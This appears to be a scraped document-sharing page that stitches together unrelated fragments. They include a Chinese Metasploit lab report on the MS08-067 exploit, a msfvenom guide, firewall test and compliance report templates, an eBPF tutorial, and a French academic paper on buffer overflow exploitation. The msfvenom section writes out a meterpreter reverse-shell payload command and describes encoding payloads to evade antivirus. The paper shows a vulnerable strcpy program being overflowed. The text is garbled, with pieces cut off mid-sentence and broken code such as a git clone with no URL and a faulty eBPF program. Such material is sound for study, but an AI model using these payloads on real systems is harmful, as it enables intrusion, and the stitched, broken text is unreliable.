Advanced exploitation of buffer overflow
- 格式:pdf
- 大小:280.50 KB
- 文档页数:92
实验六报告如图2所示的Windows 2000系统(虚拟机环境下)的计算机。
显然这2台计算机处于同一个网段中,可以相互通讯,win10系统用作攻击机,下面将在此系统上运行Metasploit进行渗透测试,而Windows 2000系统都是本次任务中需要进行渗透入侵的靶机,保持安装后的默认状态,没有打额外的系统安全补丁。
图1 win10攻击机图2 Windows 2000 靶机2、扫描靶机在正式开始渗透之前,应该对靶机进行扫描探测工作,搞清楚渗透目标的系统类型、开放的端口服务、可能存在的安全漏洞等。
在win10攻击机上运行metasploit console,即可进入Metasploit环境。
现在可以利用MSF框架中集成的Nmap扫描器对渗透测试目标进行扫描,如图3所示,获取了靶机的开放服务和操作系统类型等信息。
图3 windows 2000扫描结果利用扫描器的脚步插件,还有可能直接探测出目标系统的安全漏洞,例如如图4所示,Nmap 利用smb-check-vulns插件扫描探测出了Windows 2000靶机存在MS08_067漏洞,命令执行如下:nmap -script= 。
namap扫描的结果里报告发现MS08-067:DISABLED。
这是在暗示我们或许能够对这台主机进行渗透攻击,然后我们在Metasloit里面找到此漏洞的攻击模块,并尝试攻击目标机器。
MS08-067是一个对操作系统版本依赖非常高的漏洞,所以在这里,我们只自动payload指定一下目标就可以确保触发正确的溢出代码。
图4漏洞扫描结果3利用MS08_067漏洞渗透入侵MS08-067漏洞的全称为“Windows Server服务RPC请求缓冲区溢出漏洞”,如果用户在受影响的系统上收到特制的RPC 请求,则该漏洞可能允许远程执行代码。
在Microsoft Windows 2000Windows XP 和Windows Server 2003 系统上,攻击者可能未经身份验证即可利用此漏洞运行任意代码,此漏洞可用于进行蠕虫攻击,目前已经有利用该漏洞的蠕虫病毒。
ctool程序开发常用工具用法在C语言程序开发中,有许多工具可以提高开发效率、调试程序以及进行性能优化。
以下是一些常用的C语言开发工具及其用法,供参考:1.编译器(gcc):-用法:`gcc source.c-o output`-说明:用于编译C源代码,生成可执行文件。
可以通过参数`-o`指定输出文件名。
2.调试器(gdb):-用法:`gdb executable`-说明:用于调试程序,支持设置断点、查看变量值等操作。
3.性能分析器(gprof):-用法:`gprof executable`-说明:用于分析程序的性能,生成函数调用关系和运行时间统计。
4.动态分析工具(Valgrind):-用法:`valgrind--leak-check=full executable`-说明:用于检测内存泄漏和执行时错误,提供详细的报告。
5.版本控制工具(Git):-用法:`git init`,`git add`,`git commit`,等-说明:用于版本控制,追踪代码变更,支持多人协作。
6.构建工具(Make):-用法:`make target`-说明:用于自动化构建,管理项目中的编译、链接等任务。
7.静态代码分析工具(Cppcheck):-用法:`cppcheck source.c`-说明:用于检查代码中的潜在问题,如未定义的变量、内存泄漏等。
8.文档生成工具(Doxygen):-用法:`doxygen config_file`-说明:用于自动生成代码文档,包括函数、变量的说明和关系图。
9.单元测试框架(Check、Unity):-用法:根据框架不同,编写测试用例和运行测试。
-说明:用于进行单元测试,确保代码的功能正常。
10.交叉编译工具链:-用法:根据目标平台选择相应的交叉编译工具链。
-说明:用于在一个平台上为另一个平台生成可执行文件。
这些工具可以根据具体项目需求选择使用,能够提高开发效率、代码质量和程序性能。
缓冲区溢出攻击详细讲解缓冲区溢出(Buffer Overflow)是计算机安全领域既经典而又古老的话题。
随着计算机系统安全性的加强,传统的缓冲区溢出攻击方式可能变得不再奏效,相应的介绍缓冲区溢出原理的资料也变得“大众化”起来。
其中看雪的《0day安全:软件漏洞分析技术》一书将缓冲区溢出攻击的原理阐述得简洁明了。
本文参考该书对缓冲区溢出原理的讲解,并结合实际的代码实例进行验证。
不过即便如此,完成一个简单的溢出代码也需要解决很多书中无法涉及的问题,尤其是面对较新的具有安全特性的编译器——比如MS的Visual Studio2010。
接下来,我们结合具体代码,按照对缓冲区溢出原理的循序渐进地理解方式去挖掘缓冲区溢出背后的底层机制。
一、代码 <=> 数据顾名思义,缓冲区溢出的含义是为缓冲区提供了多于其存储容量的数据,就像往杯子里倒入了过量的水一样。
通常情况下,缓冲区溢出的数据只会破坏程序数据,造成意外终止。
但是如果有人精心构造溢出数据的容,那么就有可能获得系统的控制权!如果说用户(也可能是黑客)提供了水——缓冲区溢出攻击的数据,那么系统提供了溢出的容器——缓冲区。
缓冲区在系统中的表现形式是多样的,高级语言定义的变量、数组、结构体等在运行时可以说都是保存在缓冲区的,因此所谓缓冲区可以更抽象地理解为一段可读写的存区域,缓冲区攻击的最终目的就是希望系统能执行这块可读写存中已经被蓄意设定好的恶意代码。
按照冯·诺依曼存储程序原理,程序代码是作为二进制数据存储在存的,同样程序的数据也在存中,因此直接从存的二进制形式上是无法区分哪些是数据哪些是代码的,这也为缓冲区溢出攻击提供了可能。
图1 进程地址空间分布图1是进程地址空间分布的简单表示。
代码存储了用户程序的所有可执行代码,在程序正常执行的情况下,程序计数器(PC指针)只会在代码段和操作系统地址空间(核态)寻址。
数据段存储了用户程序的全局变量,文字池等。
缓冲区溢出攻击的基本原理1. 引言缓冲区溢出(Buffer Overflow)攻击是指攻击者利用程序设计中的缺陷,向缓冲区写入超出其容量的数据,从而覆盖到其他内存区域或者执行恶意代码。
这种攻击方式在软件开发和网络安全领域中被广泛研究,属于一种常见的安全漏洞。
让我们通过以下几个步骤深入了解缓冲区溢出攻击的基本原理。
2. 缓冲区溢出2.1 缓冲区缓冲区(Buffer)是计算机内存中一段预留给程序使用的存储区域,用于临时保存数据。
在C和C++等低级编程语言中,缓冲区通常是以数组的形式存在。
2.2 缓冲区溢出当程序收到输入数据超过预分配的缓冲区容量时,数据会溢出到相邻的内存区域。
由于这些相邻的内存区域往往存放着重要的数据或者程序代码,攻击者可以借此修改程序的行为,造成安全漏洞。
3. 缓冲区溢出攻击的过程3.1 寻找目标程序攻击者首先需要找到目标程序中存在缓冲区溢出漏洞的函数,一般是在程序中存在对用户输入进行处理的函数。
这些函数通常是目标程序接收外部输入的入口。
3.2 构造恶意输入攻击者构造一段特定的输入数据,超过目标程序预分配的缓冲区大小。
这段输入数据中通常包含恶意代码,也可以包含用于修改程序行为的特定数据。
3.3 栈溢出攻击者向目标程序发送构造的恶意数据。
当目标程序将恶意数据输入到缓冲区时,超过缓冲区容量的数据将溢出到栈(Stack)中。
3.4 覆盖返回地址栈是一种用于存储函数调用的内存结构,其中包含函数的返回地址。
攻击者通过溢出栈的方式,将恶意数据覆盖到返回地址上。
3.5 执行恶意代码当目标程序执行函数返回的时候,会跳转到被覆盖的恶意代码的地址。
这样,攻击者就成功地执行了恶意代码,从而实现了攻击的目的。
4. 防御机制为了有效防范缓冲区溢出攻击,开发者和安全工程师可以采取一些常见的防御措施。
4.1 输入验证合理的输入验证是防范缓冲区溢出攻击的基础。
开发者应该对用户输入的数据进行有效的检查和过滤,确保其不会超过预分配的缓冲区大小。
测试手册(H3C NGFW)Copyright © 2015杭州华三通信技术有限公司版权所有,保留一切权利。
非经本公司书面许可,任何单位和个人不得擅自摘抄、复制本文档内容的部分或全部,并不得以任何形式传播。
本文档中的信息可能变动,恕不另行通知。
目录T01 设备自身安全性 (2)T02 访问控制 (13)T03 NAT功能 (25)T04 日志功能 (32)T05 可靠性 (37)T06 虚拟化功能 (49)T07 Flood攻击防御功能 (63)T08 特征库升级 (68)T09 IPS攻击防护功能 (69)T10 攻击防护响应方式 (87)T11 IPS自定义攻击 (95)T12 带宽管理功能 (97)T13 数据过滤功能 (125)T14 文件过滤 (144)T15 URL分类过滤功能 (147)T16 病毒防御 (168)T17 链路负载均衡(更详细内容参考链路负载均衡测试手册) (185)T18 服务器负载均衡(更详细内容参考服务器负载均衡测试手册) (187)T19 性能测试 (187)T01 设备自身安全性T01-01 设备安全登录SSH登录过程:(1) 使用SSH方式登录设备,PC地址为1.1.1.2,FW的gi1/0/0为1.1.1.1,三层可达;(2) 通过用户名ssh,密码123456,ssh方式能通过认证并得到设备管理权限。
HTTP登录过程:通过用户名web,密码123456,web方式能通过认证并得到登录设备管理页面。
T01-02 用户身份认证安全T01-03 角色权限控制(2) 用户user2登录防火墙后,拥有所有命令的权限;(3) 用户user3登录防火墙后,能配置ACL相关的配置,但是接口下的配置不能配置;(4) 用户user4登录防火墙后,能配置安全域和域间策略相关配置,但是无法配置ACL;T02 访问控制T02-01 基于IPV4源、目的IP地址,时间段,域名的访问控制(1) 预期结果1当按照上述配置完成后,在不加域间策略情况下,得到预期结果;防火墙上主要配置如下:交换机SW2上的主要配置为:PC的主要配置为:其中PC访问8.8.8.8(untrust)的结果为:(2) 预期结果2在调用trust到untrust的域间策略时,可得预期结果2;防火墙上主要配置为:预期结果为:(3) 预期结果3和预期结果4:修改object-group策略,在调用trust到untrust的域间策略时,可得预期结果3;防火墙上主要配置为:结果只在工作日的11:00到12:00,trust区域才可以访问untrust的8.8.8.8,不在这个时段内,则不能访问,由此可得预期结果4;在调整防火墙的时间至工作的11:30后,trust区域才可以访问untrust的8.8.8.8,由此可得预期结果3T02-02 基于用户身份的识别功能FW关键配置如下:一开始PC到SW2上的8.8.8.8是不通的;修改防火墙的时间落在time-range中后,PC到SW2上的8.8.8.8可以通;T02-03 远程访问控制防火墙、PC机T03 NAT功能T03-01 NAT(PAT)测试T03-02 NAT Server测试T03-03 NAT ALG测试T03-04 NAT Server负载分担T03-05 NAT无限连接方式T03-06 NAT444测试T03-07 NAT FULLCONE测试T04 日志功能T04-01系统日志功能T04-02 NAT\会话二进制日志测试T04-03 NAT444日志测试T04-04 二进制日志主机负载分担测试T05 可靠性T05-01 HA ---Active/Standby模式主要配置如下:查看冗余组信息;显示Reth信息。
报告编号:XXXXXXXXXXX-XXXXX-XX-XXXXXX-XX网络安全等级保护[被测对象名称]等级测评报告委托单位:测评单位:报告时间:年月说明:一、每个备案系统单独出具测评报告。
二、测评报告编号为四组数据。
各组含义和编码规则如下:第一组为系统备案表编号,由2段16位数字组成,可以从公安机关颁发的系统备案证明(或备案回执)上获得。
第1段即备案证明编号的前11位(前6位为受理备案公安机关代码,后5位为受理备案的公安机关给出的备案单位的顺序编号);第2段即备案证明编号的后5位(系统编号)。
第二组为年份,由2位数字组成。
例如09代表2009年。
第三组为测评机构代码,由测评机构推荐证书编号最后六位数字组成。
其中,前两位为省级行政区划数字代码的前两位或行业主管部门编号:00为公安部,11为北京,12为天津,13为河北,14为山西,15为内蒙古,21为辽宁,22为吉林,23为黑龙江,31为上海,32为江苏,33为浙江,34为安徽,35为福建,36为江西,37为山东,41为河南,42为湖北,43为湖南,44为广东,45为广西,46为海南,50为重庆,51为四川,52为贵州,53为云南,54为西藏,61为陕西,62为甘肃,63为青海,64为宁夏,65为新疆,66为新疆兵团。
90为国防科工局,91为国家能源局,92为教育部。
后四位为公安机关或行业主管部门推荐的测评机构顺序号。
第四组为本年度系统测评次数,由两位构成。
例如02表示该系统本年度测评2次。
网络安全等级测评基本信息表声明【填写说明:声明是测评机构对测评报告的有效性前提、测评结论的适用范围以及使用方式等有关事项的陈述。
针对特殊情况下的测评工作,测评机构可在以下建议内容的基础上增加特殊声明。
】本报告是[被测对象名称]的等级测评报告。
本报告是对[被测对象名称]的整体安全性进行检测分析,针对等级测评过程中发现的安全问题,结合风险分析,提出合理化建议。
本报告测评结论的有效性建立在被测评单位提供相关证据的真实性基础之上。
msfvenom 参数使用msfvenom生成恶意代码Msfvenom是Metasploit框架中的一个工具,它可以用来生成各种类型的恶意代码,包括shellcode、payload、exploit等。
在渗透测试和漏洞利用中,msfvenom是一个非常有用的工具,可以帮助渗透测试人员和黑客快速生成恶意代码,以便进行攻击。
在使用msfvenom生成恶意代码时,需要指定一些参数,以便生成符合要求的代码。
下面是一些常用的msfvenom参数:-p:指定payload类型,例如windows/meterpreter/reverse_tcp、linux/x86/meterpreter/reverse_tcp等。
-e:指定编码类型,例如x86/shikata_ga_nai、x86/jmp_call_additive等。
-f:指定输出格式,例如raw、c、python、ruby等。
-o:指定输出文件名,例如payload.exe、payload.py等。
-l:列出可用的payload、encoder、nops等选项。
使用msfvenom生成payload生成payload是msfvenom最常用的功能之一。
payload是指攻击者在攻击目标时要执行的代码,例如反向Shell、Meterpreter等。
下面是一个生成反向Shell的例子:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f exe -o payload.exe上面的命令将生成一个反向Shell的payload,将其保存为payload.exe文件。
LHOST和LPORT参数分别指定了攻击者的IP地址和监听端口。
使用msfvenom生成编码后的payload为了避免被杀毒软件和防火墙检测到,攻击者通常会对payload进行编码。
msfvenom可以生成各种类型的编码器,例如x86/shikata_ga_nai、x86/jmp_call_additive等。
ebpf 环境准备-回复EBPF环境准备EBPF(Extended Berkeley Packet Filter)是一种内核扩展技术,它允许开发人员在内核中注入小型的程序以实现高效的包处理和网络分析。
EBPF 已经成为在现代操作系统中进行网络和系统跟踪的重要工具,因其高性能和安全性而受到广泛关注。
本文将向您介绍如何准备EBPF环境并开始使用它。
步骤一:安装所需工具和库在开始之前,我们需要安装一些必要的工具和库。
首先,我们需要安装LLVM和Clang,它们是EBPF编译器和工具链的一部分。
我们可以使用包管理器来安装它们,例如在Ubuntu上,我们可以运行以下命令:sudo apt-get install llvm clang接下来,我们需要安装libbpf库,它是EBPF的运行时库。
您可以从GitHub 上的libbpf存储库中获取它,并按照其文档中的说明进行安装。
例如,您可以运行以下命令:git clonecd libbpfmakesudo make install步骤二:编写和编译EBPF程序一旦我们安装了所需的工具和库,我们就可以开始编写和编译我们的第一个EBPF程序了。
EBPF程序可以使用C语言编写,因此我们可以使用任何支持C语言的文本编辑器来编写它。
在本例中,我们将创建一个简单的EBPF程序来统计收到的数据包数量。
首先,我们需要创建一个名为`packet_counter.c`的文件,并在其中编写以下代码:c#include <linux/bpf.h>SEC("socket")int packet_counter(struct __sk_buff *skb){int key = 0;__u64 *value;value = bpf_map_lookup_elem(&packet_map, &key);if (value)*value += 1;return XDP_PASS;}在这个简单的EBPF程序中,我们首先定义了一个名为`packet_counter`的函数,它接收一个名为`skb`的数据包作为参数。
Exploitation avancée de buffer overflows-Olivier GAY,Security and Cryptography Laboratory(LASEC)Département d’Informatique de l’EPFLolivier.gay@epfl.ch28juin2002Table des matières1.Introduction42.Généralités62.1Le format ELF et l’organisation de la mémoire62.2L’appel de fonction avec le compilateur gcc83.Stack Overflows113.1Historique113.2Définition113.3Exploitation123.4Propriétés des shellcodes173.5Programmes suid183.6Les fonctions vulnérables203.7Stack Overflows sous d’autres architectures214.Variables d’environnement235.Off-by-one overflows276.Le piège des functions strn*()336.1Strncpy()non-null termination336.2Strncat()poisoned NULL byte356.3Erreur de type casting avec la fonction strncat()366.4Variations de ces vulnérabilités38 famille des fonctions*scanf()et*sprintf()407.1Erreurs sur la taille maximale407.2Le cas de snprintf()417.3Exemples d’erreurs de patch d’un overflow418.Remote exploitation439.RET-into-libc529.1RET-into-libc simple529.2Le problème des pages exécutables sous x86569.3Le patch kernel Openwall569.4Bypasser Openwall589.4.1ELF dynamic linking589.4.2RET-into-PLT599.5RET-into-libc chaîné619.6RET-into-libc sur d’autres architectures6510.Heap Overflow6610.1Data based overflow et la section DTORS6610.2BSS based overflow et les atexit structures6810.3Pointeurs de fonctions7210.4Longjmp buffers7510.5Ecrasement de pointeur et GOT7710.5.1Les protections Stackguard et Stackshield8010.6Autres variables potentiellement intéressantesàécraser8010.7Malloc()chunk corruption8110.7.1Doug Lea Malloc8110.7.2La macro unlink()8110.7.3Le programme vulnérable8310.7.4Exploitation avec unlink()8310.7.5L’Exploit et les malloc hooks8411.Conclusion8812.Bibliographie89 Annexe A–Exercices sur les buffer overflows90 Annexe B–Les codes utilisés dans le rapport-1.Introduction«Le commencement de toutes lessciences,c'est l'étonnement de ceque les choses sont ce qu'ellessont.»,AristoteLes problèmes liés aux buffer overflows représentent60%des annonces de sécuritédu CERT ces dernière années.Il s’agit actuellement du vecteur d’attaques le plus courant dans les intrusions des systèmes informatiques et cela particulièrement pour les attaquesàdistances.Uneétude sur la liste de diffusion Bugtraq en1999a révéléqu’approximativement2/3des personnes inscrites pensaient que les buffers overflowsétaient les causes premières des failles de sécuritéinformatique.Malgréque ces failles aientétédiscutées et expliquées,des erreurs de ce types surgissent encore fréquemment dans les listes de diffusion consacréesàla sécurité.En effet certains overflows,dûàleur nature difficilement détectable et dans certains cas même pour des programmeurs chevronnés,sont encore présents dans les programmes qui nous entourent.Les erreurs de code ontétéàla tête de catastrophes importantes:parmi les plus connus,il y a l’échec de la mission du Mars Climate Orbiter ou le crash40secondes seulement après le démarrage de la séquence de vol de la première Ariane5(Ariane 501)en1996,après un développement d’un coût de quelques7milliards de dollars(le problèmeétait un overflow lors de la conversion d’un integer64bitsàun integer signéde16bits).Des estimations nous indiquent qu’il y a entre5et15erreurs pour1000lignes de code.Les programmes deviennent maintenant de plus en plus gros en taille et de plus en dialectique est implacable car plus un programme est gros,plus il est complexe,plus le nombre d’erreurs augmente et donc plus il y a d’erreurs de sécurité. Tout porte doncàpenser que les buffer overflows ne vont pas disparaître dans les annéesàvenir mais que leur nombre va plutôt augmenter.Depuis la sortie en1996,de l'article d’Aleph One dans le magazineéléctronique Phrack,qui détaille cette catégorie de faille,plusieurs recherches ontétéeffectuées pour contrer ces attaques.Bien qu’il existe une multitude d’articles portant sur les traditionnels stack overflows,il n’y en a malheureusement que peu qui traitent des attaques plusévoluées sur les buffer overflows.Nous essayons dans cet article d’expliquer les méthodes les plus récentes d’exploitation avancée de buffer overflows. Pour ce faire notre article se dirige sur plusieurs axes et décrit:-quelles constructions de codes sont susceptibles d’induire des buffer overflows dans des programmes-l’incidence des segments mémoires(stack,heap,bss…)oùont lieu les débordements sur l’exploitabilitéde la faille-les différentes méthodes pour rediriger le flux d’exécution du programme-comment contourner certaines protections mises en place pour empêcher l’exploitation des buffer overflowsChaque chapitre est généralement accompagnéde code qui démontre une technique d’exploitation ou d’exemples réels de programmes qui contenait un type d’overflow désastreux pour la sécurité.Les exemples de codes misàdisposition se retrouvent enb fin de ce rapport(dans la partie Annexes)et peuventêtre compilés avec Linux sur les processeurs x86.Des notes sont indiquées dans les chapitres pour expliquer les incidences que peuvent avoir certaines différences liées au processeur,au compilateur ou au système d’exploitation sur l’exploitation d’une faille.2.Généralités“Hacking is,very simply,askinga lot of questions and refusing tostop asking”,Emmanuel GoldsteinPour créer des exploits et comprendre leur action,il est nécessaire de connaître plusieurs concepts des Systèmes d’Exploitation,comme l'organisation de la mémoire, la structure des fichiers exécutables et les phases de la compilation.Nous détaillerons ces principes dans ce chapitre pour le système d'exploitation Linux.2.1Le format ELF et l’organisation de la mémoireGrâce au principe de mémoire virtuelle chaque programme quand il est exécutéobtient un espace mémoire entièrement isolé.La mémoire est adressée par mots(4 octets)et couvre l'espace d'adresse de0x00000000-0xffffffff soit4Giga octets adressables.Le système d’exploitation Linux utilise,pour les programmes exécutables,le format ELF1(Executable Linking Format)qui est composéde plusieurs sections.L'espace virtuel est divisée en deux zones:l'espace user(0x00000000-0xbfffffff)et l'espace kernel(0xc0000000-0xffffffff).Contrairement au kernel avec l'espace user, un processus user ne peut pas accéderàl'espace kernel.Nous allons surtout détailler cet espace user car c'est lui qui nous intéresse.Un exécutable ELF est transforméen une image processus par le program loader. Pour créer cette image en mémoire,le program loader va mapper en mémoire tous les loadable segments de l'exécutables et des librairies requises au moyen de l'appel système mmap().Les exécutables sont chargésàl’adresse mémoire fixe0x080480002 appelée«adresse de base».La figure1montre les sections principales d'un programme en mé section .text de la figure correspond au code du programme,c'est-à-dire aux instructions. Dans la section.data sont placées les données globales initialisées(dont les valeurs sont connusàla compilation)et dans la section.bss les données globales non-initialisées.Ces deux zones sont réservées et connues dès la compilation.Une variable locale static(la définition de la variable est précédémot-cléstatic)initialisée se retrouve dans la section.data et une variable locale static non initialisée se retrouve dans la section.bss.1Ce format est supportépar la majoritédes systèmes d’exploitation Unix:FreeBSD,IRIX,NetBSD, Solaris ou UnixWare2Pour comparaison,cette adresse est par exemple0x10000pour les exécutables Sparc V8(32bits)et 0x100000000pour les exécutables Sparc V9(64bits)La pile quantàelle contient les variables locales automatiques(par défait une variable locale est automatique).Elle fonctionne selon le principe LIFO(Last in First Out), premier entrépremier sorti et croît vers les adresses basses de la mémoire.A l'exécution d'un programme ses arguments(argc et argv)ainsi que les variables d'environnement sont aussi stockés dans la pile.Les variables allouées dynamiquement par la fonction malloc()sont stockées dans le heap.0xC0000000figure1.Nous allons voir quelques déclarations de variables et leur location en mémoire:int var1;//bsschar var2[]="buf1";//datamain(){int var3;//stackstatic int var4;//bssstatic char var5[]="buf2";//datachar*var6;//stackvar6=malloc(512);//heap}La commande size permet de connaître les différentes sections d'un programme ELF et de leur adresse mémoire.ouah@weed:~/heap2$size-A-x/bin/ls/bin/ls:section size addr.interp0x130x80480f4.note.ABI-tag0x200x8048108.hash0x2580x8048128.dynsym0x5100x8048380.dynstr0x36b0x8048890.gnu.version0xa20x8048bfc.gnu.version_r0x800x8048ca0.rel.got0x100x8048d20.rel.bss0x280x8048d30.rel.plt0x2300x8048d58.init0x250x8048f88.plt0x4700x8048fb0.text0x603c0x8049420.fini0x1c0x804f45c.rodata0x2f3c0x804f480.data0xbc0x80533bc.eh_frame0x40x8053478.ctors0x80x805347c.dtors0x80x8053484.got0x12c0x805348c.dynamic0xa80x80535b8.sbss0x00x8053660.bss0x2a80x8053660.comment0x3dc0x0.note0x2080x0Total0xade9(Des informations similaires mais plus détaillées peuventêtre obtenues avec les commandes readelf–e ou objdump-h).Nous voyons apparaître l’adresse en mémoire et la taille(en bytes)des sections qui nous intéressent:.text,.data et.bss.D’autres sections,comme.plt,.got ou.dtors seront décrites dans les chapitres suivants.2.2L’appel de fonction avec le compilateur gccNous allons voir comment est fait l’appel d’une fonction en assembleur dans un programme compiléavec gcc au moyen d’un programme qui nous servira d’exemple. void foo(int i,int j){int a=1;int b=2;return;}main(){foo(5,6);}Le programme appelle une fonction foo()avec plusieurs arguments.Désassemblons ce programme au moyen du débugger gdb,pour voir comment se passe l’appel, l’entrée et la sortie d’une fonction ainsi que comment sont gérés les arguments et les variables locales d’une fonction.ouah@weed:~/chap2$gdb tst-q(gdb)disassemble mainDump of assembler code for function main:0x80483d8<main>:push%ebp0x80483d9<main+1>:mov%esp,%ebp0x80483db<main+3>:sub$0x8,%esp0x80483de<main+6>:add$0xfffffff8,%esp0x80483e1<main+9>:push$0x60x80483e3<main+11>:push$0x50x80483e5<main+13>:call0x80483c0<foo>0x80483ea<main+18>:add$0x10,%esp0x80483ed<main+21>:leave0x80483ee<main+22>:ret0x80483ef<main+23>:nopEnd of assembler dump.(gdb)disassemble fooDump of assembler code for function foo:0x80483c0<foo>:push%ebp0x80483c1<foo+1>:mov%esp,%ebp0x80483c3<foo+3>:sub$0x18,%esp0x80483c6<foo+6>:movl$0x1,0xfffffffc(%ebp)0x80483cd<foo+13>:movl$0x2,0xfffffff8(%ebp)0x80483d4<foo+20>:jmp0x80483d6<foo+22>0x80483d6<foo+22>:leave0x80483d7<foo+23>:retEnd of assembler dump.Nous voyons donc ci-dessus les fonctions main()et foo()désassemblées.Appel d’une fonctionDans notre programme,la fonction foo()est appelée avec les paramètres5et6.En assembleur,cela est accompli ainsi:0x80483e1<main+9>:push$0x60x80483e3<main+11>:push$0x50x80483e5<main+13>:call0x80483c0<foo>En<main+9>,l’appel de la fonction commence.On empile d’abord avec l’instruction push les arguments de la fonction en commençant par le dernier.On saute ensuite au moyen de l’instruction call dans le code de la fonction foo().L‘instruction call ne fait pas que sauteràl’adresse désiré,avant elle sauve le registre%eip dans la pile.Ainsi, quand on sortira de la fonction foo(),le programme saura oùrevenir pour continuer l’exécution dans main().Prologue d’une fonctionLe prologue d’une fonction correspond aux premières instructions exécutées dans la fonction soit depuis<foo>.Soit:0x80483c0<foo>:push%ebp0x80483c1<foo+1>:mov%esp,%ebp0x80483c3<foo+3>:sub$0x18,%espEn<foo>nous sauvons d’abord le registre frame pointer(%ebp)sur la pile.Il s’agit du frame pointer de la fonction d’avant.Ainsi,quand nous sortirons de la fonction foo()le frame pointer pourraêtre remisàsa valeur sauvée.En<foo+1>,nous mettons àjour le registre frame pointer,au début de la frame qui va commencer et qui est la frame pour la fonction.En<foo+3>,nous réservons ensuite la place pour les variables valeur0x18indique que24bytes ontétéréservépour nos2int(2*4bytes),cela est plus que suffisant mais gcc(2.95.3)réserve au minimum24bytes.Si nous avions plus que24bytes de variables locales,il aurait donc fallu soustraire(la pile croît vers le bas)plus de bytes.Le compilateur gcc réserve pour chaque frame un espace dans la pile de taille multiple de4.Epilogue d’une fonctionL’épilogue correspondàla sortie de la fonction foo().Elle doit alors retourner au bon endroit et restituer le frame pointer sauvegardépar le prologue de la fonction.Le prologue est effectuépar ces deux instructions:0x80483d6<foo+22>:leave0x80483d7<foo+23>:retL’instruction leave estéquivalente aux deux instructions suivantes:mov%ebp,%esppop%ebpIl s’agit de l’opération inverse de celle effectuée dans le prologue.On ramène le sommet de la pile au niveau du frame pointer puis on restitue le frame pointeur sauvegardédans%ebp.La dernière instruction,ret,retourneàl’endroit juste après l’appel de la fonction foo() grâceàla valeur de retour stockée en pile durant l’appel.Enfin,au retour de la fonction,en<main+18>:0x80483ea<main+18>:add$0x10,%espOn remet la pile en place pour reveniràla situation d’avant l’empilement des arguments de foo()pour l’appel.3.Stack Overflows«Vous serez comme des dieux»,Genèse,chap III3.1HistoriqueLe problème des buffer overflows et leur exploitation n’est pas nouveau.Leur existence se situe aux tout débuts de l’architecture Von-Neumann-1.Selon C.Cowan, des anecdotes situent les premiers exploits de buffer overflow dans les années1960 sur OS/360.En1988,unévénement a secouéle monde informatique quand Robert J. Morris aétéla cause de la paralysie de10%de tous les ordinateurs d’Internet quand il a propagéson vers malicieux,«l’Inet Worm»(cetévénement a par ailleursétéàl’origine de la création du CERT).Ce vers s’introduisait dans les serveurs en exploitant des failles de Sendmail et de fingerd sur des ordinateurs4.2ou4.3de BSD Unix sur architecture VAX et SunOS sur architecture Sun-3.Parmi plusieurs failles classiques que le worm exploitait,il exploitait un buffer overflow sur les serveurs fingerd.Ce-dernier interceptait les données d’utilisateurs distants au moyen de la fonction gets().Cette fonction est une fonction dangereuse etàne jamais utiliser car il est impossible quand elle est appelée de contrôler que l’utilisateur n’envoie pas plus de données que prévues.Dans le cas de l’inet worm,il envoyait,dans un buffer de 512bytes,une requête de536bytes qui enécrasant des données critiques lui permettait d’obtenir un shell sur l’ordinateur distant.Fin1995,Mudge du groupe L0pht(futur atstake)est le premieràécrire un texte traitant de l’exploitation des buffer overflow.Mais c’est un an plus tard,qu’Aleph One(l’iniateur de la liste de diffusion Bugtraq)écrit pour le magazineéléctronique phrack l’article«Smashing the stack for fun and profit»qui est encore actuellement le texte de référence pour comprendre et exploiter des buffers overflows.L’histoire des buffer overflows ne s’est toutefois pas arrêtéaprès ce texte et plusieurs classes d’overflows ont puêtre exploitées grâce au développement de nouvelles techniques d’exploitation.3.2DéfinitionAvant d’entrer dans le monde de l’exploitation des overflows,intéressons-nousàce qu’est exactement un buffer overflow.Un buffer overflow est la situation qui se produit quand dans un programme on place dans un espace mémoire plus de données qu’il ne peut en contenir.Dans ce genre de situations,les données sont quand même insérées en mémoires même si ellesécrasent des données qu’elles ne devraient pas. Enécrasant des données critiques du programme,ces données qui débordent amènent généralement le programmeàcrasher.Ce simple fait est déjàgrave si l’on penseàdes serveurs qui ne peuvent ainsi plus remplir leur tâche.Plus grave,enécrasant certaines données,on peut arriveràprendre le contrôle du programme ce qui peut s’avérer désastreux si celui-ci tourne avec des droits privilégiés par exemple.Nous voyons ici un exemple de programme vulnérable qui contient un buffer overflow:1#include<stdio.h>234main(int argc,char*argv[])5{6char buffer[256];78if(argc>1)9strcpy(buffer,argv[1]);10}Ce programme ne fait rien de plus que de prendre le premier argument de la ligne commande et de le placer dans un buffer.A aucun endroit du programme,la taille de l’argument de la ligne de commande n’aétécontrôlée pour qu’il soit plus petit que le buffer qui l’accueille.Le problème arrive quand l’utilisateur donne un argument plus grand que le buffer qui lui est réservé:ouah@weed:~$./vuln1`perl-e'print"A"x300'`Segmentation faultLe programmeécrit en dehors du buffer réservéqui fait crasher le programme.Nous verrons plus loin comment rediriger le cours d’exécution du programmeànotre faveur.3.3ExploitationNous allons maintenant voir comment exploiter le programme précédent qui contenait un buffer overflow.Grâce au chapitre2,nous savons que notre buffer vulnérable se situe sur la pile et qu’il est directement suivi en mémoire par le frame pointer et l’adresse de retour de la fonction dans laquelle est définie buffer(soit main()).Notre but est donc d’écraser cette adresse de retour pour rediriger le programme.Notre buffer ayant une taille de256octets,264bytes suffisent pourécraser cette adresse de retour par une adresse de notre choix.Il convient de remarquer que les variables en mémoires sont paddéesà4octets.Ainsi si notre buffer avait255éléments au lieu de 256,il occuperait quand même256octets dans la pile.Avec le débuggeur gdb,nous allons vérifier cette affirmation.Tout d’abord,il nous faut activer la création de fichiers core lors de segfault d’un programme.ouah@weed:~/chap2$ulimit-c100000Exécutons notre programme vulnérable de manièreàécraser l’adresse de retour par la valeur0x41414141(«AAAA»en ASCII).ouah@weed:~$./vuln1`perl-e'print"B"x260'`AAAASegmentation fault(core dumped)Le fichier core aétédumpédans le répertoire du programme vulnénçons maintenant gdb sur le fichier core afin de pouvoir l’analyser.ouah@weed:~$./vuln1`perl-e'print"B"x260'`AAAASegmentation fault(core dumped)ouah@weed:~$gdb-c core-qCore was generated by`./vuln1 BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB BB'.Program terminated with signal11,Segmentation fault.#00x41414141in??()(gdb)p$eip$1=(void*)0x41414141(gdb)p$esp$2=(void*)0xbffff834La ligne#00x41414141in??()nous indiqueàquel endroit du programme l’on se trouvait lorsque le signal segfault aétéreçu.Le programme reçoit un signal segfault car l’adresse0x41414141n’est pas 